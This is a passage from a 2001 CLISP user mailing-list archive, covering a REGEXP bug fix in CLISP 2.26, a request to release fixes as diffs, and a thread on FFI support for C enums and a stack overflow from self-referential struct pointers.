thanks for the report - I just fixed it. please get the latest CLISP from CVS. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Apathy Club meeting this Friday. If you want to come, you're not invited. From bruce253@163.net Sun May 27 16:53:05 2001 Received: from [211.101.174.194] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154AL2-0000U5-00 for ; Sun, 27 May 2001 16:53:05 -0700 Received: from [211.101.174.194] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Mon, 28 May 2001 07:53:32 Message-ID: <3B119184.4010201@163.net> Date: Mon, 28 May 2001 07:45:08 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; 0.8.1) Gecko/20010421 X-Accept-Language: en, zh-cn MIME-Version: 1.0 To: Aurelio Bignoli CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REGEXP problem with CLISP 2.26 References: <15121.3524.491290.558297@ghimel.fauser.it> Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Aurelio Bignoli wrote: > I just compiled CLISP 2.26 with the REGEXP module and I have the > following problem with it: > > > [1]> (lisp-implementation-version) > "2.26 (released 2001-05-23) (built on dalet.fauser.it [192.168.1.2])" > [2]> (regexp:match "abcd" "abcdefgh") > > *** - FUNCALL: the function REGEXP::FINALIZE is undefined > 1. Break [3]> > > > The error seems to be in the function REGEXP-COMPILE in regexp.lisp: > FINALIZE is now in the EXT package. But the clisp.sourceforge.net says the latest version is 2.25.1 (2001-04-06). And it's OK on 2.25.1. -- You will be audited by the Internal Revenue Service. From peter.wood@worldonline.dk Sun May 27 23:25:26 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154GSz-00076k-00 for ; Sun, 27 May 2001 23:25:25 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 2301CB4D7 for ; Mon, 28 May 2001 08:25:22 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4S6LES00271 for clisp-list@lists.sourceforge.net; Mon, 28 May 2001 08:21:14 +0200 Date: Mon, 28 May 2001 08:21:14 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010528082114.A254@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] fixes as diffs? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi Would it be possible for small fixes like the regexp one to be released as diffs. It would make it easier for new users. If they login to cons.org to get the latest clisp, they would see: clisp-2.26.tar.gz and clisp-2.26-1.diff (or whatever), and know to get both. Unless people follow this list, they won't know about small fixes, and will be using a version with known bugs, in good faith. Regards, Peter From peter.wood@worldonline.dk Sun May 27 23:33:19 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154Gab-00081y-00 for ; Sun, 27 May 2001 23:33:18 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 7BACEB4D7 for ; Mon, 28 May 2001 08:33:15 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4S6THn00291 for clisp-list@lists.sourceforge.net; Mon, 28 May 2001 08:29:17 +0200 Date: Mon, 28 May 2001 08:29:17 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Message-ID: <20010528082917.B254@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] screen-editor? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi The manual page mentions a built-in screen editor (under the ENVIRONMENT -> TERM section). There are also references to it on the web. I assume it's gone, since I can't find it, nor anything about it in impnotes. Is the source for it still available somewhere. Does clisp-1999-07-22 (at cons.org) have it? Regards, Peter From eric@ericdegroot.com Mon May 28 01:24:32 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154IKF-0006il-00 for ; Mon, 28 May 2001 01:24:31 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id BAA26647 for ; Mon, 28 May 2001 01:24:29 -0700 (PDT) Message-ID: <012901c0e74f$d917eb70$4381fb18@CX417245D> From: "Eric de Groot" To: Date: Mon, 28 May 2001 01:26:08 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] FFI C enumerations Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hello. What is the CLISP FFI C type for enum?? I can't find it in the documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) (enumeration ) and all give me an error. The following fails, tells me "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) (def-c-struct st_net (nettype enum_net_type) (fd int) .... ) And with (c-enum ) and the others it just says it doesent know what they are: (def-c-struct st_net (nettype (c-enum enum_net_type)) (fd int) .... ) here's the corresponding c code: enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE }; typedef struct st_net { enum enum_net_type nettype; int fd; .... }; Thanks. -Eric de Groot From peter.wood@worldonline.dk Mon May 28 07:27:10 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154NzB-0005Bl-00 for ; Mon, 28 May 2001 07:27:09 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id A932FB502 for ; Mon, 28 May 2001 16:27:06 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4SEN6A00416 for clisp-list@lists.sourceforge.net; Mon, 28 May 2001 16:23:06 +0200 Date: Mon, 28 May 2001 16:23:06 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI C enumerations Message-ID: <20010528162306.A318@localhost.localdomain> References: <012901c0e74f$d917eb70$4381fb18@CX417245D> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <012901c0e74f$d917eb70$4381fb18@CX417245D>; from eric@ericdegroot.com on Mon, May 28, 2001 at 01:26:08AM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote: > Hello. > > What is the CLISP FFI C type for enum?? I can't find it in the > documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) > (enumeration ) and all give me an error. The following fails, tells me > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) > > (def-c-struct st_net > (nettype enum_net_type) > (fd int) > .... ) > > here's the corresponding c code: > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE }; > > typedef struct st_net { > enum enum_net_type nettype; > int fd; > .... > }; > Hi, There's probably a better answer than this one, but here goes: In C enum is compatible with int, so you should be able to do, (def-c-struct st_net (nettype int) (fd int)) Regards, Peter Ps. If you don't like having "int" for readability, you could do: (def-c-type c_enum int) before. From sds@gnu.org Mon May 28 08:07:59 2001 Received: from out4.prserv.net ([32.97.166.34] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154Och-00067R-00 for ; Mon, 28 May 2001 08:07:59 -0700 Received: from xchange.com (slip-32-100-55-90.ma.us.prserv.net[32.100.55.90]) by prserv.net (out4) with ESMTP id <2001052815075220401fco24e>; Mon, 28 May 2001 15:07:56 +0000 To: Bruce Cc: Aurelio Bignoli , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REGEXP problem with CLISP 2.26 References: <15121.3524.491290.558297@ghimel.fauser.it> <3B119184.4010201@163.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B119184.4010201@163.net> Date: 28 May 2001 11:07:31 -0400 Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3B119184.4010201@163.net> > * On the subject of "Re: [clisp-list] REGEXP problem with CLISP 2.26" > * Sent on Mon, 28 May 2001 07:45:08 +0800 > * Honorable Bruce writes: > > But the clisp.sourceforge.net says the latest version is 2.25.1 > (2001-04-06). And it's OK on 2.25.1. 2.26 was released on 2001-05-23. I just fixed the homepage - it will reflect it tomorrow -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Live free or die. From marcoxa@cs.nyu.edu Mon May 28 10:06:15 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154QT9-0005aQ-00 for ; Mon, 28 May 2001 10:06:15 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id NAA19817; Mon, 28 May 2001 13:04:10 -0400 Date: Mon, 28 May 2001 13:04:10 -0400 Message-Id: <200105281704.NAA19817@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: peter.wood@worldonline.dk CC: clisp-list@lists.sourceforge.net In-reply-to: <20010528162306.A318@localhost.localdomain> (message from Peter Wood on Mon, 28 May 2001 16:23:06 +0200) Subject: Re: [clisp-list] FFI C enumerations References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > From: Peter Wood > Content-Type: text/plain; charset=us-ascii > Content-Disposition: inline > User-Agent: Mutt/1.2.5i > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: Mon, 28 May 2001 16:23:06 +0200 > Content-Length: 1186 > > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote: > > Hello. > > > > What is the CLISP FFI C type for enum?? I can't find it in the > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) > > (enumeration ) and all give me an error. The following fails, tells me > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": > > > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) > > > > (def-c-struct st_net > > (nettype enum_net_type) > > (fd int) > > .... ) > > > > > here's the corresponding c code: > > > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE }; > > > > typedef struct st_net { > > enum enum_net_type nettype; > > int fd; > > .... > > }; > > > > Hi, > > There's probably a better answer than this one, but here goes: > In C enum is compatible with int, so you should be able to do, > > (def-c-struct st_net > (nettype int) > (fd int)) > > Regards, > Peter > > Ps. If you don't like having "int" for readability, you could > do: > > (def-c-type c_enum int) > > before. > That is true, but sometimes the C compiler may complain for functions which do not actually use the enumerated type. I believe this is a shortcoming of CLisp FFI (shared by ACL FFI). It should not be difficult to add them. After all CMUCL and LW have C enumerations. But I am talking without knowing much. Cheers Marco -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From eric@ericdegroot.com Mon May 28 14:22:48 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154UTP-0005kT-00 for ; Mon, 28 May 2001 14:22:47 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id OAA26022 for ; Mon, 28 May 2001 14:22:45 -0700 (PDT) Message-ID: <005a01c0e7bc$950bcba0$4381fb18@CX417245D> From: "Eric de Groot" To: References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> Subject: Re: [clisp-list] FFI C enumerations Date: Mon, 28 May 2001 14:24:30 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Thanks for the info. I'll try using int. Otherwise this really sucks. When you say it shouldnt be to hard to add (c-enum ), do you it shouldnt be to hard for me to add, or should be to hard to the developers of clisp? Are the defs for these functions/macros available for editing somewhere in my local clisp tree? Thanks. -Eric de Groot mailto:eric@ericdegroot.com ----- Original Message ----- From: "Marco Antoniotti" To: Cc: Sent: Monday, May 28, 2001 10:04 AM Subject: Re: [clisp-list] FFI C enumerations > > > From: Peter Wood > > Content-Type: text/plain; charset=us-ascii > > Content-Disposition: inline > > User-Agent: Mutt/1.2.5i > > Sender: clisp-list-admin@lists.sourceforge.net > > X-BeenThere: clisp-list@lists.sourceforge.net > > X-Mailman-Version: 2.0.5 > > Precedence: bulk > > List-Help: > > List-Post: > > List-Subscribe: , > > > > List-Id: CLISP user discussion > > List-Unsubscribe: , > > > > List-Archive: > > Date: Mon, 28 May 2001 16:23:06 +0200 > > Content-Length: 1186 > > > > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote: > > > Hello. > > > > > > What is the CLISP FFI C type for enum?? I can't find it in the > > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) > > > (enumeration ) and all give me an error. The following fails, tells me > > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": > > > > > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) > > > > > > (def-c-struct st_net > > > (nettype enum_net_type) > > > (fd int) > > > .... ) > > > > > > > > here's the corresponding c code: > > > > > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE }; > > > > > > typedef struct st_net { > > > enum enum_net_type nettype; > > > int fd; > > > .... > > > }; > > > > > > > Hi, > > > > There's probably a better answer than this one, but here goes: > > In C enum is compatible with int, so you should be able to do, > > > > (def-c-struct st_net > > (nettype int) > > (fd int)) > > > > Regards, > > Peter > > > > Ps. If you don't like having "int" for readability, you could > > do: > > > > (def-c-type c_enum int) > > > > before. > > > > That is true, but sometimes the C compiler may complain for functions > which do not actually use the enumerated type. > > I believe this is a shortcoming of CLisp FFI (shared by ACL FFI). It > should not be difficult to add them. After all CMUCL and LW have C > enumerations. > > But I am talking without knowing much. > > Cheers > > Marco > > > -- > Marco Antoniotti ======================================================== > NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 > 719 Broadway 12th Floor fax +1 - 212 - 995 4122 > New York, NY 10003, USA http://bioinformatics.cat.nyu.edu > "Hello New York! We'll do what we can!" > Bill Murray in `Ghostbusters'. > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From eric@ericdegroot.com Mon May 28 16:30:56 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154WTP-0006pG-00 for ; Mon, 28 May 2001 16:30:55 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id QAA16587 for ; Mon, 28 May 2001 16:30:53 -0700 (PDT) Message-ID: <00ab01c0e7ce$7bba73b0$4381fb18@CX417245D> From: "Eric de Groot" To: References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> Date: Mon, 28 May 2001 16:32:38 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] What's the purpose of (def-c-enum ) then? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I just posted a question about using an enumeration defined with def-c-enum as a var type, but there doesent seem to be support for it. What's the purpose of (def-c-enum ) then? How can it be used if there isent an enum type?? Thanks. -eric ----- Original Message ----- From: "Marco Antoniotti" To: Cc: Sent: Monday, May 28, 2001 10:04 AM Subject: Re: [clisp-list] FFI C enumerations > > > From: Peter Wood > > Content-Type: text/plain; charset=us-ascii > > Content-Disposition: inline > > User-Agent: Mutt/1.2.5i > > Sender: clisp-list-admin@lists.sourceforge.net > > X-BeenThere: clisp-list@lists.sourceforge.net > > X-Mailman-Version: 2.0.5 > > Precedence: bulk > > List-Help: > > List-Post: > > List-Subscribe: , > > > > List-Id: CLISP user discussion > > List-Unsubscribe: , > > > > List-Archive: > > Date: Mon, 28 May 2001 16:23:06 +0200 > > Content-Length: 1186 > > > > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote: > > > Hello. > > > > > > What is the CLISP FFI C type for enum?? I can't find it in the > > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) > > > (enumeration ) and all give me an error. The following fails, tells me > > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": > > > > > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) > > > > > > (def-c-struct st_net > > > (nettype enum_net_type) > > > (fd int) > > > .... ) > > > > > > > > here's the corresponding c code: > > > > > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE }; > > > > > > typedef struct st_net { > > > enum enum_net_type nettype; > > > int fd; > > > .... > > > }; > > > > > > > Hi, > > > > There's probably a better answer than this one, but here goes: > > In C enum is compatible with int, so you should be able to do, > > > > (def-c-struct st_net > > (nettype int) > > (fd int)) > > > > Regards, > > Peter > > > > Ps. If you don't like having "int" for readability, you could > > do: > > > > (def-c-type c_enum int) > > > > before. > > > > That is true, but sometimes the C compiler may complain for functions > which do not actually use the enumerated type. > > I believe this is a shortcoming of CLisp FFI (shared by ACL FFI). It > should not be difficult to add them. After all CMUCL and LW have C > enumerations. > > But I am talking without knowing much. > > Cheers > > Marco > > > -- > Marco Antoniotti ======================================================== > NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 > 719 Broadway 12th Floor fax +1 - 212 - 995 4122 > New York, NY 10003, USA http://bioinformatics.cat.nyu.edu > "Hello New York! We'll do what we can!" > Bill Murray in `Ghostbusters'. > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From eric@ericdegroot.com Mon May 28 17:09:27 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154X4g-0003pT-00 for ; Mon, 28 May 2001 17:09:26 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id RAA22780 for ; Mon, 28 May 2001 17:09:24 -0700 (PDT) Message-ID: <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D> From: "Eric de Groot" To: References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> Date: Mon, 28 May 2001 17:11:09 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Subject: [clisp-list] FFI: "Lisp stack overflow. RESET" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: More FFI problems;) I switched my enumerations over to ints so clisp gets past that, but instead now I get: Compiling file /usr/local/lib/clisp/callmystuff.lisp ... *** - Lisp stack overflow. RESET What causes a stack overflow? In callmystuff.lisp I have about 5-6 (def-c-structs ) each with about 10-15 members, followed by a single (def-c-call-out ) at the end of the file: (def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca)) (:return-type (c-ptr st_mystuff))) If I remove/comment out this c call out the compilation goes fine, showing 0 errors, but at soon as I add this back in I get the Lisp stack overflow. Any ideas? Thanks. -Eric de Groot mailto:eric@ericdegroot.com ----- Original Message ----- From: "Marco Antoniotti" To: Cc: Sent: Monday, May 28, 2001 10:04 AM Subject: Re: [clisp-list] FFI C enumerations > > > From: Peter Wood > > Content-Type: text/plain; charset=us-ascii > > Content-Disposition: inline > > User-Agent: Mutt/1.2.5i > > Sender: clisp-list-admin@lists.sourceforge.net > > X-BeenThere: clisp-list@lists.sourceforge.net > > X-Mailman-Version: 2.0.5 > > Precedence: bulk > > List-Help: > > List-Post: > > List-Subscribe: , > > > > List-Id: CLISP user discussion > > List-Unsubscribe: , > > > > List-Archive: > > Date: Mon, 28 May 2001 16:23:06 +0200 > > Content-Length: 1186 > > > > On Mon, May 28, 2001 at 01:26:08AM -0700, Eric de Groot wrote: > > > Hello. > > > > > > What is the CLISP FFI C type for enum?? I can't find it in the > > > documentation, and i've tried (c-enum ) (c-enumeration ) (enum ) > > > (enumeration ) and all give me an error. The following fails, tells me > > > "*** - Incomplete FFI type ENUM_NET_TYPE is not allowed here.": > > > > > > (def-c-enum enum_net_type NET_TYPE_TCPIP NET_TYPE_SOCKET NET_TYPE_NAMEDPIPE) > > > > > > (def-c-struct st_net > > > (nettype enum_net_type) > > > (fd int) > > > .... ) > > > > > > > > here's the corresponding c code: > > > > > > enum enum_net_type { NET_TYPE_TCPIP, NET_TYPE_SOCKET, NET_TYPE_NAMEDPIPE }; > > > > > > typedef struct st_net { > > > enum enum_net_type nettype; > > > int fd; > > > .... > > > }; > > > > > > > Hi, > > > > There's probably a better answer than this one, but here goes: > > In C enum is compatible with int, so you should be able to do, > > > > (def-c-struct st_net > > (nettype int) > > (fd int)) > > > > Regards, > > Peter > > > > Ps. If you don't like having "int" for readability, you could > > do: > > > > (def-c-type c_enum int) > > > > before. > > > > That is true, but sometimes the C compiler may complain for functions > which do not actually use the enumerated type. > > I believe this is a shortcoming of CLisp FFI (shared by ACL FFI). It > should not be difficult to add them. After all CMUCL and LW have C > enumerations. > > But I am talking without knowing much. > > Cheers > > Marco > > > -- > Marco Antoniotti ======================================================== > NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 > 719 Broadway 12th Floor fax +1 - 212 - 995 4122 > New York, NY 10003, USA http://bioinformatics.cat.nyu.edu > "Hello New York! We'll do what we can!" > Bill Murray in `Ghostbusters'. > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > http://lists.sourceforge.net/lists/listinfo/clisp-list > From eric@ericdegroot.com Mon May 28 21:20:14 2001 Received: from rcomm.net ([216.122.136.22]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 154azM-0000Id-00 for ; Mon, 28 May 2001 21:20:12 -0700 Received: from CX417245D (cx417245-d.fed1.sdca.home.com [24.251.129.67]) by rcomm.net (8.9.3/8.9.3) with SMTP id VAA26853 for ; Mon, 28 May 2001 21:20:10 -0700 (PDT) Message-ID: <013c01c0e7f6$e518c230$4381fb18@CX417245D> From: "Eric de Groot" To: References: <012901c0e74f$d917eb70$4381fb18@CX417245D> <20010528162306.A318@localhost.localdomain> <200105281704.NAA19817@octagon.mrl.nyu.edu> <00c901c0e7d3$dd7df8b0$4381fb18@CX417245D> Subject: Re: [clisp-list] FFI: "Lisp stack overflow. RESET" Date: Mon, 28 May 2001 21:21:55 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I still don't get this. I think I figured out the source of the problem though: (def-c-struct st_stuff (next (c-ptr st_stuff)) ...) (def-c-struct st_mystuff (stuff (c-ptr st_stuff)) ...) (def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca)) (:return-type (c-ptr st_mystuff))) If I remove the (next (c-ptr st_stuff)) I get no stack overflow. st_stuff is a linked list, the next pointer is screwing me up. It's only when I use st_mystuff in the def-c-call-out, if change the types in the def-c-call-out to something else it also compiles fine. Does anyone even use CLISP's FFI? On the CLISP page there are some clisp packages, but from lookin around in the source it doesent look like any use the FFI. Thanks again. -Eric de Groot mailto:eric@ericdegroot.com ----- Original Message ----- From: "Eric de Groot" To: Sent: Monday, May 28, 2001 5:11 PM Subject: [clisp-list] FFI: "Lisp stack overflow. RESET" > More FFI problems;) I switched my enumerations over to ints so clisp gets > past that, but instead now I get: > > Compiling file /usr/local/lib/clisp/callmystuff.lisp ... > *** - Lisp stack overflow. RESET > > What causes a stack overflow? In callmystuff.lisp I have about 5-6 > (def-c-structs ) each with about 10-15 members, followed by a single > (def-c-call-out ) at the end of the file: > > (def-c-call-out myfun (:arguments (myarg (c-ptr st_mystuff) :in :alloca)) > (:return-type (c-ptr st_mystuff))) > > If I remove/comment out this c call out the compilation goes fine, showing 0 > errors, but at soon as I add this back in I get the Lisp stack overflow. > Any ideas? Thanks. > > -Eric de Groot > mailto:eric@ericdegroot.com > > > ----- Original Message ----- > From: "Marco Antoniotti" > To: > Cc: > Sent: Monday, May 28, 2001 10:04 AM > Subject: Re: [clisp-list] FFI C enumerations > > > > > > > From: Peter Wood > > > Content-Type: text/plain; charset=us-ascii > > > Content-Disposition: inline > > > 